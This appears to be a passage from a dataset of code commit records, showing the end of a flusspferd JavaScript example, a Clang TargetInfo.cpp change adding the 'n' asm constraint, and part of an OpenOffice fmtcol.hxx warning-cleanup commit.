flusspferd::context::create());\n\n    flusspferd::create<flusspferd::function>(\"print\", &print, _container = flusspferd::global());\n\n    flusspferd::load_class<StringSet>();\n\n    flusspferd::evaluate(\n        \"var set = new StringSet('b', 'a', 'd');\\n\"\n        \"set.add('c');\\n\"\n        \"set.dump();\\n\"\n        \"set.delete('a'); set.delete('b');\\n\"\n        \"print('As Array: ' +  set.toArray().toSource());\\n\"\n    );\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===--- TargetInfo.cpp - Information about Target machine ----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file implements the TargetInfo and TargetInfoImpl interfaces.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Basic\/Diagnostic.h\"\n#include \"clang\/AST\/Builtins.h\"\n#include \"llvm\/ADT\/APFloat.h\"\n#include \"llvm\/ADT\/STLExtras.h\"\nusing namespace clang;\n\n\/\/ TargetInfo Constructor.\nTargetInfo::TargetInfo(const std::string &T) : Triple(T) {\n  \/\/ Set defaults.  These should be overridden by concrete targets as needed.\n  CharIsSigned = true;\n  WCharWidth = WCharAlign = 32;\n  FloatFormat = &llvm::APFloat::IEEEsingle;\n  DoubleFormat = &llvm::APFloat::IEEEdouble;\n  LongDoubleFormat = &llvm::APFloat::IEEEdouble;\n}\n\n\/\/ Out of line virtual dtor for TargetInfo.\nTargetInfo::~TargetInfo() {}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\n\nstatic void removeGCCRegisterPrefix(const char *&Name) {\n  if (Name[0] == '%' || Name[0] == '#')\n    Name++;\n}\n\n\/\/\/ isValidGCCRegisterName - Returns whether the passed in string\n\/\/\/ is a valid register name according to GCC. This is used by Sema for\n\/\/\/ inline asm statements.\nbool TargetInfo::isValidGCCRegisterName(const char *Name) const {\n  const char * const *Names;\n  unsigned NumNames;\n  \n  \/\/ Get rid of any register prefix.\n  removeGCCRegisterPrefix(Name);\n\n  \n  if (strcmp(Name, \"memory\") == 0 ||\n      strcmp(Name, \"cc\") == 0)\n    return true;\n  \n  getGCCRegNames(Names, NumNames);\n  \n  \/\/ If we have a number it maps to an entry in the register name array.\n  if (isdigit(Name[0])) {\n    char *End;\n    int n = (int)strtol(Name, &End, 0);\n    if (*End == 0)\n      return n >= 0 && (unsigned)n < NumNames;\n  }\n\n  \/\/ Check register names.\n  for (unsigned i = 0; i < NumNames; i++) {\n    if (strcmp(Name, Names[i]) == 0)\n      return true;\n  }\n  \n  \/\/ Now check aliases.\n  const GCCRegAlias *Aliases;\n  unsigned NumAliases;\n  \n  getGCCRegAliases(Aliases, NumAliases);\n  for (unsigned i = 0; i < NumAliases; i++) {\n    for (unsigned j = 0 ; j < llvm::array_lengthof(Aliases[i].Aliases); j++) {\n      if (!Aliases[i].Aliases[j])\n        break;\n      if (strcmp(Aliases[i].Aliases[j], Name) == 0)\n        return true;\n    }\n  }\n  \n  return false;\n}\n\nconst char *TargetInfo::getNormalizedGCCRegisterName(const char *Name) const {\n  assert(isValidGCCRegisterName(Name) && \"Invalid register passed in\");\n  \n  removeGCCRegisterPrefix(Name);\n    \n  const char * const *Names;\n  unsigned NumNames;\n\n  getGCCRegNames(Names, NumNames);\n\n  \/\/ First, check if we have a number.\n  if (isdigit(Name[0])) {\n    char *End;\n    int n = (int)strtol(Name, &End, 0);\n    if (*End == 0) {\n      assert(n >= 0 && (unsigned)n < NumNames && \n             \"Out of bounds register number!\");\n      return Names[n];\n    }\n  }\n  \n  \/\/ Now check aliases.\n  const GCCRegAlias *Aliases;\n  unsigned NumAliases;\n  \n  getGCCRegAliases(Aliases, NumAliases);\n  for (unsigned i = 0; i < NumAliases; i++) {\n    for (unsigned j = 0 ; j < llvm::array_lengthof(Aliases[i].Aliases); j++) {\n      if (!Aliases[i].Aliases[j])\n        break;\n      if (strcmp(Aliases[i].Aliases[j], Name) == 0)\n        return Aliases[i].Register;\n    }\n  }\n  \n  return Name;\n}\n\nbool TargetInfo::validateOutputConstraint(const char *Name, \n                                          ConstraintInfo &info) const\n{\n  \/\/ An output constraint must start with '=' or '+'\n  if (*Name != '=' && *Name != '+')\n    return false;\n\n  if (*Name == '+')\n    info = CI_ReadWrite;\n  else\n    info = CI_None;\n\n  Name++;\n  while (*Name) {\n    switch (*Name) {\n    default:\n      if (!validateAsmConstraint(*Name, info)) {\n        \/\/ FIXME: This assert is in place temporarily \n        \/\/ so we can add more constraints as we hit it.\n        \/\/ Eventually, an unknown constraint should just be treated as 'g'.\n        assert(0 && \"Unknown output constraint type!\");\n      }\n    case '&': \/\/ early clobber.\n      break;\n    case 'r': \/\/ general register.\n      info = (ConstraintInfo)(info|CI_AllowsRegister);\n      break;\n    case 'm': \/\/ memory operand.\n      info = (ConstraintInfo)(info|CI_AllowsMemory);\n      break;\n    case 'g': \/\/ general register, memory operand or immediate integer.\n      info = (ConstraintInfo)(info|CI_AllowsMemory|CI_AllowsRegister);\n      break;\n    }\n    \n    Name++;\n  }\n  \n  return true;\n}\n\nbool TargetInfo::validateInputConstraint(const char *Name,\n                                         unsigned NumOutputs,\n                                         ConstraintInfo &info) const {\n  while (*Name) {\n    switch (*Name) {\n    default:\n      \/\/ Check if we have a matching constraint\n      if (*Name >= '0' && *Name <= '9') {\n        unsigned i = *Name - '0';\n        \n        \/\/ Check if matching constraint is out of bounds.\n        if (i >= NumOutputs)\n          return false;\n      } else if (!validateAsmConstraint(*Name, info)) {\n        \/\/ FIXME: This assert is in place temporarily \n        \/\/ so we can add more constraints as we hit it.\n        \/\/ Eventually, an unknown constraint should just be treated as 'g'.\n        assert(0 && \"Unknown input constraint type!\");\n      }        \n    case '%': \/\/ commutative\n      \/\/ FIXME: Fail if % is used with the last operand.\n      break;\n    case 'i': \/\/ immediate integer.\n    case 'I':\n      break;\n    case 'r': \/\/ general register.\n      info = (ConstraintInfo)(info|CI_AllowsRegister);\n      break;\n    case 'm': \/\/ memory operand.\n      info = (ConstraintInfo)(info|CI_AllowsMemory);\n      break;\n    case 'g': \/\/ general register, memory operand or immediate integer.\n      info = (ConstraintInfo)(info|CI_AllowsMemory|CI_AllowsRegister);\n      break;\n    }\n    \n    Name++;\n  }\n  \n  return true;\n}\n<commit_msg>Handle the 'n' constraint<commit_after>\/\/===--- TargetInfo.cpp - Information about Target machine ----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file implements the TargetInfo and TargetInfoImpl interfaces.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Basic\/Diagnostic.h\"\n#include \"clang\/AST\/Builtins.h\"\n#include \"llvm\/ADT\/APFloat.h\"\n#include \"llvm\/ADT\/STLExtras.h\"\nusing namespace clang;\n\n\/\/ TargetInfo Constructor.\nTargetInfo::TargetInfo(const std::string &T) : Triple(T) {\n  \/\/ Set defaults.  These should be overridden by concrete targets as needed.\n  CharIsSigned = true;\n  WCharWidth = WCharAlign = 32;\n  FloatFormat = &llvm::APFloat::IEEEsingle;\n  DoubleFormat = &llvm::APFloat::IEEEdouble;\n  LongDoubleFormat = &llvm::APFloat::IEEEdouble;\n}\n\n\/\/ Out of line virtual dtor for TargetInfo.\nTargetInfo::~TargetInfo() {}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\n\nstatic void removeGCCRegisterPrefix(const char *&Name) {\n  if (Name[0] == '%' || Name[0] == '#')\n    Name++;\n}\n\n\/\/\/ isValidGCCRegisterName - Returns whether the passed in string\n\/\/\/ is a valid register name according to GCC. This is used by Sema for\n\/\/\/ inline asm statements.\nbool TargetInfo::isValidGCCRegisterName(const char *Name) const {\n  const char * const *Names;\n  unsigned NumNames;\n  \n  \/\/ Get rid of any register prefix.\n  removeGCCRegisterPrefix(Name);\n\n  \n  if (strcmp(Name, \"memory\") == 0 ||\n      strcmp(Name, \"cc\") == 0)\n    return true;\n  \n  getGCCRegNames(Names, NumNames);\n  \n  \/\/ If we have a number it maps to an entry in the register name array.\n  if (isdigit(Name[0])) {\n    char *End;\n    int n = (int)strtol(Name, &End, 0);\n    if (*End == 0)\n      return n >= 0 && (unsigned)n < NumNames;\n  }\n\n  \/\/ Check register names.\n  for (unsigned i = 0; i < NumNames; i++) {\n    if (strcmp(Name, Names[i]) == 0)\n      return true;\n  }\n  \n  \/\/ Now check aliases.\n  const GCCRegAlias *Aliases;\n  unsigned NumAliases;\n  \n  getGCCRegAliases(Aliases, NumAliases);\n  for (unsigned i = 0; i < NumAliases; i++) {\n    for (unsigned j = 0 ; j < llvm::array_lengthof(Aliases[i].Aliases); j++) {\n      if (!Aliases[i].Aliases[j])\n        break;\n      if (strcmp(Aliases[i].Aliases[j], Name) == 0)\n        return true;\n    }\n  }\n  \n  return false;\n}\n\nconst char *TargetInfo::getNormalizedGCCRegisterName(const char *Name) const {\n  assert(isValidGCCRegisterName(Name) && \"Invalid register passed in\");\n  \n  removeGCCRegisterPrefix(Name);\n    \n  const char * const *Names;\n  unsigned NumNames;\n\n  getGCCRegNames(Names, NumNames);\n\n  \/\/ First, check if we have a number.\n  if (isdigit(Name[0])) {\n    char *End;\n    int n = (int)strtol(Name, &End, 0);\n    if (*End == 0) {\n      assert(n >= 0 && (unsigned)n < NumNames && \n             \"Out of bounds register number!\");\n      return Names[n];\n    }\n  }\n  \n  \/\/ Now check aliases.\n  const GCCRegAlias *Aliases;\n  unsigned NumAliases;\n  \n  getGCCRegAliases(Aliases, NumAliases);\n  for (unsigned i = 0; i < NumAliases; i++) {\n    for (unsigned j = 0 ; j < llvm::array_lengthof(Aliases[i].Aliases); j++) {\n      if (!Aliases[i].Aliases[j])\n        break;\n      if (strcmp(Aliases[i].Aliases[j], Name) == 0)\n        return Aliases[i].Register;\n    }\n  }\n  \n  return Name;\n}\n\nbool TargetInfo::validateOutputConstraint(const char *Name, \n                                          ConstraintInfo &info) const\n{\n  \/\/ An output constraint must start with '=' or '+'\n  if (*Name != '=' && *Name != '+')\n    return false;\n\n  if (*Name == '+')\n    info = CI_ReadWrite;\n  else\n    info = CI_None;\n\n  Name++;\n  while (*Name) {\n    switch (*Name) {\n    default:\n      if (!validateAsmConstraint(*Name, info)) {\n        \/\/ FIXME: This assert is in place temporarily \n        \/\/ so we can add more constraints as we hit it.\n        \/\/ Eventually, an unknown constraint should just be treated as 'g'.\n        assert(0 && \"Unknown output constraint type!\");\n      }\n    case '&': \/\/ early clobber.\n      break;\n    case 'r': \/\/ general register.\n      info = (ConstraintInfo)(info|CI_AllowsRegister);\n      break;\n    case 'm': \/\/ memory operand.\n      info = (ConstraintInfo)(info|CI_AllowsMemory);\n      break;\n    case 'g': \/\/ general register, memory operand or immediate integer.\n      info = (ConstraintInfo)(info|CI_AllowsMemory|CI_AllowsRegister);\n      break;\n    }\n    \n    Name++;\n  }\n  \n  return true;\n}\n\nbool TargetInfo::validateInputConstraint(const char *Name,\n                                         unsigned NumOutputs,\n                                         ConstraintInfo &info) const {\n  while (*Name) {\n    switch (*Name) {\n    default:\n      \/\/ Check if we have a matching constraint\n      if (*Name >= '0' && *Name <= '9') {\n        unsigned i = *Name - '0';\n        \n        \/\/ Check if matching constraint is out of bounds.\n        if (i >= NumOutputs)\n          return false;\n      } else if (!validateAsmConstraint(*Name, info)) {\n        \/\/ FIXME: This assert is in place temporarily \n        \/\/ so we can add more constraints as we hit it.\n        \/\/ Eventually, an unknown constraint should just be treated as 'g'.\n        assert(0 && \"Unknown input constraint type!\");\n      }        \n    case '%': \/\/ commutative\n      \/\/ FIXME: Fail if % is used with the last operand.\n      break;\n    case 'i': \/\/ immediate integer.\n    case 'I':\n    case 'n': \/\/ immediate integer with a known value.\n      break;\n    case 'r': \/\/ general register.\n      info = (ConstraintInfo)(info|CI_AllowsRegister);\n      break;\n    case 'm': \/\/ memory operand.\n      info = (ConstraintInfo)(info|CI_AllowsMemory);\n      break;\n    case 'g': \/\/ general register, memory operand or immediate integer.\n      info = (ConstraintInfo)(info|CI_AllowsMemory|CI_AllowsRegister);\n      break;\n    }\n    \n    Name++;\n  }\n  \n  return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: fmtcol.hxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: vg $ $Date: 2007-02-05 10:51:35 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _FMTCOL_HXX\n#define _FMTCOL_HXX\n\n#ifndef _SVARRAY_HXX \/\/autogen\n#include <svtools\/svarray.hxx>\n#endif\n\n#ifndef INCLUDED_SWDLLAPI_H\n#include \"swdllapi.h\"\n#endif\n#ifndef _FORMAT_HXX\n#include <format.hxx>\n#endif\n#ifndef _SWTYPES_HXX\n#include <swtypes.hxx>      \/\/ fuer MAXLEVEL\n#endif\n\nclass SwDoc;        \/\/ fuer friend\n\nclass SwFmtColl : public SwFmt\n{\nprotected:\n    SwFmtColl( SwAttrPool& rPool, const sal_Char* pFmtName,\n                const USHORT* pWhichRanges, SwFmtColl* pDerFrom,\n                USHORT nFmtWhich )\n          : SwFmt( rPool, pFmtName, pWhichRanges, pDerFrom, nFmtWhich )\n    { SetAuto( FALSE ); }\n\n    SwFmtColl( SwAttrPool& rPool, const String &rFmtName,\n                const USHORT* pWhichRanges, SwFmtColl* pDerFrom,\n                USHORT nFmtWhich )\n          : SwFmt( rPool, rFmtName, pWhichRanges, pDerFrom, nFmtWhich )\n    { SetAuto( FALSE ); }\n\n\nprivate:\n    \/\/ erstmal wird nicht kopiert und nicht zugewiesen\n    SwFmtColl(const SwFmtColl & );\n    const SwFmtColl &operator=(const SwFmtColl &);\n};\n\n\nclass SW_DLLPUBLIC SwTxtFmtColl: public SwFmtColl\n{\n    friend class SwDoc;\n\n    SwTxtFmtColl(const SwTxtFmtColl & rRef);\n\n    \/\/ --> OD 2007-01-24 #i73790#\n    bool mbStayAssignedToListLevelOfOutlineStyle;\n    \/\/ <--\nprotected:\n    BYTE nOutlineLevel;\n    SwTxtFmtColl *pNextTxtFmtColl;\n\n    SwTxtFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                    SwTxtFmtColl* pDerFrom = 0,\n                    USHORT nFmtWh = RES_TXTFMTCOLL )\n        : SwFmtColl( rPool, pFmtCollName, aTxtFmtCollSetRange,\n                        pDerFrom, nFmtWh ),\n          \/\/ --> OD 2007-01-24 #i73790#\n          mbStayAssignedToListLevelOfOutlineStyle( false ),\n          \/\/ <--\n          nOutlineLevel( NO_NUMBERING )\n    { pNextTxtFmtColl = this; }\n\n    SwTxtFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                    SwTxtFmtColl* pDerFrom = 0,\n                    USHORT nFmtWh = RES_TXTFMTCOLL )\n        : SwFmtColl( rPool, rFmtCollName, aTxtFmtCollSetRange,\n                        pDerFrom, nFmtWh ),\n          \/\/ --> OD 2007-01-24 #i73790#\n          mbStayAssignedToListLevelOfOutlineStyle( false ),\n          \/\/ <--\n          nOutlineLevel( NO_NUMBERING )\n    { pNextTxtFmtColl = this; }\n\npublic:\n\n    \/\/ zum \"abfischen\" von UL-\/LR-\/FontHeight Aenderungen\n    virtual void Modify( SfxPoolItem*, SfxPoolItem* );\n\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n    void SetOutlineLevel( BYTE );\n    inline BYTE GetOutlineLevel() const { return nOutlineLevel; }\n\n    inline void SetNextTxtFmtColl(SwTxtFmtColl& rNext);\n    SwTxtFmtColl& GetNextTxtFmtColl() const { return *pNextTxtFmtColl; }\n\n    BOOL IsAtDocNodeSet() const;\n\n    \/\/ --> OD 2006-11-22 #i71574#\n    inline const bool AssignedToListLevelOfOutlineStyle() const\n    {\n        return ( 0 <= GetOutlineLevel() && GetOutlineLevel() < MAXLEVEL );\n    }\n\n    inline void DeleteAssignmentToListLevelOfOutlineStyle()\n    {\n        SetOutlineLevel( NO_NUMBERING );\n    }\n    \/\/ <--\n\n    \/\/ --> OD 2007-01-24 #i73790#\n    \/\/ override <ResetAllFmtAttr()> to stay assigned to list level of outline style\n    virtual USHORT ResetAllFmtAttr();\n\n    inline bool StayAssignedToListLevelOfOutlineStyle() const\n    {\n        return mbStayAssignedToListLevelOfOutlineStyle;\n    }\n    \/\/ <--\n\/*----------------- JP 09.08.94 17:36 -------------------\n wird die Funktionalitaet von Zeichenvorlagen an Absatzvorlagen\n ueberhaupt benoetigt ??\n\n Wenn, ja dann muessen im TextNode und hier in der TxtCollection ein 2.\n Attset fuer die Char-Attribute angelegt werden; damit die Vererbung\n und der Zugriff auf die gesetzen Attribute richtig funktioniert!!\n\n    virtual BOOL SetDerivedFrom( SwFmtColl* pDerFrom = 0 );\n\n    inline SwCharFmt* GetCharFmt() const;\n    inline BOOL IsCharFmtSet() const;\n    void SetCharFmt(SwCharFmt *);\n    void ResetCharFmt();\ninline BOOL SwTxtFmtColl::IsCharFmtSet() const\n{\n    return aCharDepend.GetRegisteredIn() ? TRUE : FALSE;\n}\ninline SwCharFmt* SwTxtFmtColl::GetCharFmt() const\n{\n    return (SwCharFmt*)aCharDepend.GetRegisteredIn();\n}\n--------------------------------------------------*\/\n};\n\ntypedef SwTxtFmtColl* SwTxtFmtCollPtr;\nSV_DECL_PTRARR(SwTxtFmtColls,SwTxtFmtCollPtr,2,4)\n\n\nclass SwGrfFmtColl: public SwFmtColl\n{\n    friend class SwDoc;\nprotected:\n    SwGrfFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                    SwGrfFmtColl* pDerFrom = 0 )\n        : SwFmtColl( rPool, pFmtCollName, aGrfFmtCollSetRange,\n                    pDerFrom, RES_GRFFMTCOLL )\n    {}\n\n    SwGrfFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                    SwGrfFmtColl* pDerFrom = 0 )\n        : SwFmtColl( rPool, rFmtCollName, aGrfFmtCollSetRange,\n                    pDerFrom, RES_GRFFMTCOLL )\n    {}\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n};\n\ntypedef SwGrfFmtColl* SwGrfFmtCollPtr;\nSV_DECL_PTRARR(SwGrfFmtColls,SwGrfFmtCollPtr,2,4)\n\n\n\n\/\/FEATURE::CONDCOLL\n\/\/ --------- Bedingte Vorlagen -------------------------------\n\nenum Master_CollConditions\n{\n    PARA_IN_LIST        = 0x0001,\n    PARA_IN_OUTLINE     = 0x0002,\n    PARA_IN_FRAME       = 0x0004,\n    PARA_IN_TABLEHEAD   = 0x0008,\n    PARA_IN_TABLEBODY   = 0x0010,\n    PARA_IN_SECTION     = 0x0020,\n    PARA_IN_FOOTENOTE   = 0x0040,\n    PARA_IN_FOOTER      = 0x0080,\n    PARA_IN_HEADER      = 0x0100,\n    PARA_IN_ENDNOTE     = 0x0200,\n    \/\/ ...\n    USRFLD_EXPRESSION   = (int)0x8000\n};\n\n\nclass SW_DLLPUBLIC SwCollCondition : public SwClient\n{\n    ULONG nCondition;\n    union\n    {\n        ULONG nSubCondition;\n        String* pFldExpression;\n    } aSubCondition;\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n\n    SwCollCondition( SwTxtFmtColl* pColl, ULONG nMasterCond,\n                    ULONG nSubCond = 0 );\n    SwCollCondition( SwTxtFmtColl* pColl, ULONG nMasterCond,\n                    const String& rSubExp );\n    virtual ~SwCollCondition();\n\n    \/\/ @@@ public copy ctor, but no copy assignment?\n    SwCollCondition( const SwCollCondition& rCpy );\nprivate:\n    \/\/ @@@ public copy ctor, but no copy assignment?\n    SwCollCondition & operator= (const SwCollCondition &);\npublic:\n\n    int operator==( const SwCollCondition& rCmp ) const;\n    int operator!=( const SwCollCondition& rCmp ) const\n                            { return ! (*this == rCmp); }\n\n    ULONG GetCondition() const      { return nCondition; }\n    ULONG GetSubCondition() const   { return aSubCondition.nSubCondition; }\n    const String* GetFldExpression() const\n                                    { return aSubCondition.pFldExpression; }\n\n    void SetCondition( ULONG nCond, ULONG nSubCond );\n    SwTxtFmtColl* GetTxtFmtColl() const     { return (SwTxtFmtColl*)GetRegisteredIn(); }\n};\n\n\ntypedef SwCollCondition* SwCollConditionPtr;\nSV_DECL_PTRARR_DEL( SwFmtCollConditions, SwCollConditionPtr, 0, 5 )\n\nclass SW_DLLPUBLIC SwConditionTxtFmtColl : public SwTxtFmtColl\n{\n    friend class SwDoc;\nprotected:\n    SwFmtCollConditions aCondColls;\n\n    SwConditionTxtFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                            SwTxtFmtColl* pDerFrom = 0 )\n        : SwTxtFmtColl( rPool, pFmtCollName, pDerFrom, RES_CONDTXTFMTCOLL )\n    {}\n    SwConditionTxtFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                            SwTxtFmtColl* pDerFrom = 0 )\n        : SwTxtFmtColl( rPool, rFmtCollName, pDerFrom, RES_CONDTXTFMTCOLL )\n    {}\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n    virtual ~SwConditionTxtFmtColl();\n\n    \/\/ zum \"abfischen\" von Aenderungen\n\/\/  virtual void Modify( SfxPoolItem*, SfxPoolItem* );\n\n    const SwCollCondition* HasCondition( const SwCollCondition& rCond ) const;\n    const SwFmtCollConditions& GetCondColls() const     { return aCondColls; }\n    void InsertCondition( const SwCollCondition& rCond );\n    BOOL RemoveCondition( const SwCollCondition& rCond );\n\n    void SetConditions( const SwFmtCollConditions& );\n};\n\n\/\/FEATURE::CONDCOLL\n\n\/\/ ------------- Inline Implementierungen --------------------\n\ninline void SwTxtFmtColl::SetNextTxtFmtColl( SwTxtFmtColl& rNext )\n{\n    pNextTxtFmtColl = &rNext;\n}\n#endif\n\n<commit_msg>INTEGRATION: CWS swwarnings (1.9.16); FILE MERGED 2007\/02\/27 13:06:33 tl 1.9.16.1: #i69287# warning-free code<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: fmtcol.hxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: hr $ $Date: 2007-09-27 08:02:45 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _FMTCOL_HXX\n#define _FMTCOL_HXX\n\n#ifndef _SVARRAY_HXX \/\/autogen\n#include <svtools\/svarray.hxx>\n#endif\n\n#ifndef INCLUDED_SWDLLAPI_H\n#include \"swdllapi.h\"\n#endif\n#ifndef _FORMAT_HXX\n#include <format.hxx>\n#endif\n#ifndef _SWTYPES_HXX\n#include <swtypes.hxx>      \/\/ fuer MAXLEVEL\n#endif\n\nclass SwDoc;        \/\/ fuer friend\n\nclass SwFmtColl : public SwFmt\n{\nprotected:\n    SwFmtColl( SwAttrPool& rPool, const sal_Char* pFmtName,\n                const USHORT* pWhichRanges, SwFmtColl* pDerFrom,\n                USHORT nFmtWhich )\n          : SwFmt( rPool, pFmtName, pWhichRanges, pDerFrom, nFmtWhich )\n    { SetAuto( FALSE ); }\n\n    SwFmtColl( SwAttrPool& rPool, const String &rFmtName,\n                const USHORT* pWhichRanges, SwFmtColl* pDerFrom,\n                USHORT nFmtWhich )\n          : SwFmt( rPool, rFmtName, pWhichRanges, pDerFrom, nFmtWhich )\n    { SetAuto( FALSE ); }\n\n\nprivate:\n    \/\/ erstmal wird nicht kopiert und nicht zugewiesen\n    SwFmtColl(const SwFmtColl & );\n    const SwFmtColl &operator=(const SwFmtColl &);\n};\n\n\nclass SW_DLLPUBLIC SwTxtFmtColl: public SwFmtColl\n{\n    friend class SwDoc;\n\n    SwTxtFmtColl(const SwTxtFmtColl & rRef);\n\n    \/\/ --> OD 2007-01-24 #i73790#\n    bool mbStayAssignedToListLevelOfOutlineStyle;\n    \/\/ <--\nprotected:\n    BYTE nOutlineLevel;\n    SwTxtFmtColl *pNextTxtFmtColl;\n\n    SwTxtFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                    SwTxtFmtColl* pDerFrom = 0,\n                    USHORT nFmtWh = RES_TXTFMTCOLL )\n        : SwFmtColl( rPool, pFmtCollName, aTxtFmtCollSetRange,\n                        pDerFrom, nFmtWh ),\n          \/\/ --> OD 2007-01-24 #i73790#\n          mbStayAssignedToListLevelOfOutlineStyle( false ),\n          \/\/ <--\n          nOutlineLevel( NO_NUMBERING )\n    { pNextTxtFmtColl = this; }\n\n    SwTxtFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                    SwTxtFmtColl* pDerFrom = 0,\n                    USHORT nFmtWh = RES_TXTFMTCOLL )\n        : SwFmtColl( rPool, rFmtCollName, aTxtFmtCollSetRange,\n                        pDerFrom, nFmtWh ),\n          \/\/ --> OD 2007-01-24 #i73790#\n          mbStayAssignedToListLevelOfOutlineStyle( false ),\n          \/\/ <--\n          nOutlineLevel( NO_NUMBERING )\n    { pNextTxtFmtColl = this; }\n\npublic:\n\n    \/\/ zum \"abfischen\" von UL-\/LR-\/FontHeight Aenderungen\n    virtual void Modify( SfxPoolItem*, SfxPoolItem* );\n\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n    void SetOutlineLevel( BYTE );\n    inline BYTE GetOutlineLevel() const { return nOutlineLevel; }\n\n    inline void SetNextTxtFmtColl(SwTxtFmtColl& rNext);\n    SwTxtFmtColl& GetNextTxtFmtColl() const { return *pNextTxtFmtColl; }\n\n    BOOL IsAtDocNodeSet() const;\n\n    \/\/ --> OD 2006-11-22 #i71574#\n    inline const bool AssignedToListLevelOfOutlineStyle() const\n    {\n        return ( \/*0 <= GetOutlineLevel() &&*\/ GetOutlineLevel() < MAXLEVEL );\n    }\n\n    inline void DeleteAssignmentToListLevelOfOutlineStyle()\n    {\n        SetOutlineLevel( NO_NUMBERING );\n    }\n    \/\/ <--\n\n    \/\/ --> OD 2007-01-24 #i73790#\n    \/\/ override <ResetAllFmtAttr()> to stay assigned to list level of outline style\n    virtual USHORT ResetAllFmtAttr();\n\n    inline bool StayAssignedToListLevelOfOutlineStyle() const\n    {\n        return mbStayAssignedToListLevelOfOutlineStyle;\n    }\n    \/\/ <--\n\/*----------------- JP 09.08.94 17:36 -------------------\n wird die Funktionalitaet von Zeichenvorlagen an Absatzvorlagen\n ueberhaupt benoetigt ??\n\n Wenn, ja dann muessen im TextNode und hier in der TxtCollection ein 2.\n Attset fuer die Char-Attribute angelegt werden; damit die Vererbung\n und der Zugriff auf die gesetzen Attribute richtig funktioniert!!\n\n    virtual BOOL SetDerivedFrom( SwFmtColl* pDerFrom = 0 );\n\n    inline SwCharFmt* GetCharFmt() const;\n    inline BOOL IsCharFmtSet() const;\n    void SetCharFmt(SwCharFmt *);\n    void ResetCharFmt();\ninline BOOL SwTxtFmtColl::IsCharFmtSet() const\n{\n    return aCharDepend.GetRegisteredIn() ? TRUE : FALSE;\n}\ninline SwCharFmt* SwTxtFmtColl::GetCharFmt() const\n{\n    return (SwCharFmt*)aCharDepend.GetRegisteredIn();\n}\n--------------------------------------------------*\/\n};\n\ntypedef SwTxtFmtColl* SwTxtFmtCollPtr;\nSV_DECL_PTRARR(SwTxtFmtColls,SwTxtFmtCollPtr,2,4)\n\n\nclass SwGrfFmtColl: public SwFmtColl\n{\n    friend class SwDoc;\nprotected:\n    SwGrfFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                    SwGrfFmtColl* pDerFrom = 0 )\n        : SwFmtColl( rPool, pFmtCollName, aGrfFmtCollSetRange,\n                    pDerFrom, RES_GRFFMTCOLL )\n    {}\n\n    SwGrfFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                    SwGrfFmtColl* pDerFrom = 0 )\n        : SwFmtColl( rPool, rFmtCollName, 